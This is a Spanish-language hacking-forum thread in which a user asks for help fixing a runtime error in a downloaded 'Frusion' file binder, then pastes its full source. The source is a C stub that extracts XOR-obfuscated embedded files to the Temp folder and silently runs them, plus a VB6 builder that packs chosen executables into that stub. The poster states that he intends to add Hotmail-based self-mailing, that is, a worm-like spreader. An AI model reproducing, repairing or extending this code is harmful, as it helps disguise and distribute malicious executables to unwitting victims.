blinde fusion run time error 53

[mojolloyo20]

hola es la primera vez que escribo en este apartado lo que
intento hacer lo dice aki:http://foro.elhacker.net/index.php/topic,102653.0.html

para no estenderme mucho,baje el codigo de un blinde se
llama fusion,abro el vb,abro el prollecto para ver si es funcional.

agrego 2 exe o dos jpg y a la hora de darle a bundle para
hacer la fusion me tira este error:

run time error 53 file no found  le doy a debug y me resalta esta linea en amarilla con su dicha flecha


lngFilesize = FileLen(App.Path & "\stub\stub.exe")

si lo recopilo osea creo el programa en exe me da el mismo error:run time error 53 file no found 


alguien que me pueda hechar una mano?no se mucho de esto
solo algo soy bastante lamerrr.

tengo el codigo entero ahora no lo pondre pero si ace falta
mas info lo pego aki.

salu2s y muchas gracias ire haciendo pruebas aver si doy con el error de mientras.

[NYlOn]

Es porque el archivo stub.exe no existe.
No se como funciona el codigo, pero capaz que tenes que reemplazar el nombre por alguno que exista o por alguna variable...

Saludos.-

[sch3m4]

http://lympex.securityhead.com/index2.php?menu=downloads

mira Jhoiner 0.9 

[mojolloyo20]

muchisimas gracias le hechare un vistazo aver que puedo hacer espero que no de problemas.

salu2s y gracias de nuevo.

[mojolloyo20]

hola de nuevo,Lympex mire lo de Jhoiner 0.9 pero son 2 exe
yo nesesito codigo vb para poder modificar luego con la api
de hotmail.pero gracias de toas formas.

estuve mirando en la carpeta fusion me viene una carpeta que pone stub,trae 2 archivos

stub.dsp y stub.dsw y un texto debug_stub. lo que pone en el texto es:

//Frusion debug stub
//biff <bboxet@gmail.com>

/*
Frusion
biff <bboxet@gmail.com>

i just wrote a sample of frusion binder code in about 20 mins. bored and sick.

anyways you can use the code only if you credit biff and mrjinxy.

yeah yeah yeah
*/

#include <windows.h>
#include <stdio.h>

//structure for every bound file
struct FILE_DATA
{
   char szFilename[20];
   long lngFilesize;

} stFile;

HANDLE hFile, hThread;
DWORD dwFilesize, dwRead;
DWORD dwFilepointer = 0, dwFilebuffer = 0;

char *szFilename, *szFilepath, *szFile;

DWORD WINAPI READ_FILE(LPVOID lpParameter)
{
   while(1)
   {
      //open the stub and read every 4 megs and
      //decrypt it and write it
      hFile = CreateFile(szFilename, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
      SetFilePointer(hFile, dwFilesize + dwFilepointer, 0, FILE_BEGIN);

      //get the filebuffer by subtractin the filepointer from the
      //bounded filesize
      dwFilebuffer = stFile.lngFilesize - dwFilepointer;

      //if the buffer is bigger then 4 megs then it's 4 megs
      if(dwFilebuffer > 4194304)
         dwFilebuffer = 4194304;
      else if(dwFilebuffer == 0) //if it's zero then it's done.
         break;

      //make the string big as the buffer
      szFile = new char[dwFilebuffer];

      //read it then xor it
      ReadFile(hFile, szFile, dwFilebuffer, &dwRead, NULL);
      CloseHandle(hFile);

      //simple xor encryption
      for(unsigned int i = 1; i < dwFilebuffer; i++)
         szFile ^= 5;

      //write the file (add the 4 megs)
      hFile = CreateFile(szFilepath, GENERIC_WRITE, FILE_SHARE_WRITE, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
      SetFilePointer(hFile, 0, 0, FILE_END);
      WriteFile(hFile, szFile, dwFilebuffer, &dwRead, NULL);
      CloseHandle(hFile);

      //filepointer + the buffer
      dwFilepointer += dwFilebuffer;

      //delete the pointer from memory
      delete[] szFile;
   }

   return 0;
}

int main(int argc, char *argv[])
{
   //get stub filename
   szFilename = new char[260];
   GetModuleFileName(0, szFilename, 260);

   //get the original filesize
   hFile = CreateFile(szFilename, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
   SetFilePointer(hFile, -(signed)sizeof(long), 0, FILE_END);
   ReadFile(hFile, (char *)&dwFilesize, sizeof(long), &dwRead, NULL);
   CloseHandle(hFile);

   //check if the original filsize is 0
   if((unsigned)dwFilesize == 0)
      return 0;

   printf("Frusion Debug\nbiff<bboxet@gmail.com>\n\n");
   printf("Filename: %s\n", szFilename);
   printf("Filesize: %d\n\n", dwFilesize);

   //loop still the filename is "0"
   while(strcmp(stFile.szFilename, "0") != 0)
   {
      //open the stub read the file structure
      hFile = CreateFile(szFilename, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
      SetFilePointer(hFile, dwFilesize, 0, FILE_BEGIN);
      ReadFile(hFile, (char *)&stFile, sizeof(stFile), &dwRead, NULL);
      CloseHandle(hFile);

      //check if the filename is "0"
      if(strcmp(stFile.szFilename, "0") == 0)
         break;

      printf("FILE_DATA\n");
      printf("Filename: %s\n", stFile.szFilename);
      printf("Filesize: %d\n", stFile.lngFilesize);

      //get temp path
      szFilepath = new char[260];
      GetTempPath(260, szFilepath);

      //C:\..\Temp\szFilename
      strcat(szFilepath, stFile.szFilename);

      printf("Filepath: %s\n\n", szFilepath);

      //original filesize + sizeof the structure
      dwFilesize += sizeof(stFile);

      //create thread for read/decrypt/write the file
      hThread = CreateThread(0, 0, READ_FILE, 0, 0, 0);
      WaitForSingleObject(hThread, INFINITE);

      //add the bounded filesize to the original
      dwFilesize += stFile.lngFilesize;

      //run it
      ShellExecute(0, "open", szFilepath, 0, 0, 1);

      //change the pointer and buffer to 0
      dwFilepointer = 0;
      dwFilebuffer = 0;

      //delete the pointers from mem
      delete[] szFilepath, szFile;
   }

   //delete the pointers from mem
   delete[] szFilename, szFilepath, szFile;

   return 0;
}


y este es el codigo del blinder fusion:



'sample frusion binder code
'biff <bboxet@gmail.com>
'---------------------------------------------
'Frusion
'biff <bboxet@gmail.com>

'i just wrote a sample of frusion binder code in about 20 mins. bored and sick.

'anyways you can use the code only if you credit biff and mrjinxy.

'yeah yeah yeah

Option Explicit

Private Type FILE_DATA
    szFilename As String * 20
    lngFilesize As Long
End Type

Dim stFile As FILE_DATA
Dim lvItem As ListItem

Private Function bXor(szData As String) As String
Dim bytData() As Byte
Dim I As Long

If Len(szData) = 0 Then
    Exit Function
End If

ReDim bytData(Len(szData))

bytData() = StrConv(szData, vbFromUnicode)

For I = 1 To UBound(bytData)
    bytData(I) = bytData(I) Xor 5
Next I

bXor = StrConv(bytData, vbUnicode)

End Function

Private Sub lvFiles_MouseDown(Button As Integer, Shift As Integer, x As Single, y As Single)
If Button = 2 Then
    PopupMenu mnuOptions
End If
End Sub

Private Sub mnuAdd_Click()
With cdDialog
    .ShowOpen
   
    If .FileName > "" Then
        Set lvItem = lvFiles.ListItems.Add(, , .FileName, , 0)
        lvItem.ListSubItems.Add , , .FileTitle
    End If
End With
End Sub

Private Sub mnuBundle_Click()
Dim I As Integer
Dim szFile As String
Dim lngFilesize As Long
Dim lngFilepointer, lngFilebuffer As Long

'check if the list has files
If lvFiles.ListItems.Count = 0 Then Exit Sub

'get the original size of the stub
lngFilesize = FileLen(App.Path & "\stub\stub.exe")
FileCopy App.Path & "\stub\stub.exe", App.Path & "\stub.exe"

'loop each file
For I = 1 To lvFiles.ListItems.Count
    'change the filepointer to 1 and buffer to 0
    lngFilepointer = 1
    lngFilebuffer = 0
   
    'get the filename from the stubitem
    stFile.szFilename = lvFiles.ListItems.Item(I).SubItems(1) & Chr(0)
    'get the filesize of the file
    stFile.lngFilesize = FileLen(lvFiles.ListItems.Item(I))
   
    'open the stub and put the FILE_DATA structure in it
    Open App.Path & "\stub.exe" For Binary As #1
        Put #1, LOF(1) + 1, stFile
    Close #1
   
    'endless loop
    Do While 1
        'open the file
        Open lvFiles.ListItems.Item(I) For Binary As #1
            'move the filepointer
            Seek 1, lngFilepointer
           
            'get the buffer size (same as the stub)
            lngFilebuffer = ((LOF(1) + 1) - lngFilepointer)
           
            'if the buffer > then 4 megs - change it to 4meg
            If lngFilebuffer > 4194304 Then
                lngFilebuffer = 4194304
            'if it's zero then close the filehandles and exit the loop
            ElseIf lngFilebuffer = 0 Then
                Close #1
                Close #2
               
                Exit Do
            End If
           
            'make the szfile string size as filebuffer
            szFile = Space$(lngFilebuffer)
            'read into the string
            Get #1, , szFile
           
            'open the stub and put the xord string
            Open App.Path & "\stub.exe" For Binary As #2
                Put #2, LOF(2) + 1, bXor(szFile)
            Close #2
           
            'add the filepointer + the size of the buffer
            lngFilepointer = lngFilepointer + lngFilebuffer
        Close #1
    Loop
Next I

'no more files so chane the file name/size to zero
stFile.szFilename = "0" & Chr(0)
stFile.lngFilesize = 0

'open the stub and put the structure and original filesize
Open App.Path & "\stub.exe" For Binary As #1
    Put #1, LOF(1) + 1, stFile
    Put #1, LOF(1) + 1, lngFilesize
Close #1

MsgBox "done"
End Sub

Private Sub mnuClear_Click()
lvFiles.ListItems.Clear
End Sub

Private Sub mnuExit_Click()
End
End Sub


aver si me podeis hechar una mano que me he astacado y no se que es lo que he de hacer.alguien que me oriente? no pido que me lo hagan lo quiero hacer yo y retocarlo con la api para que se auto envie por correo.muchas asias y salu2s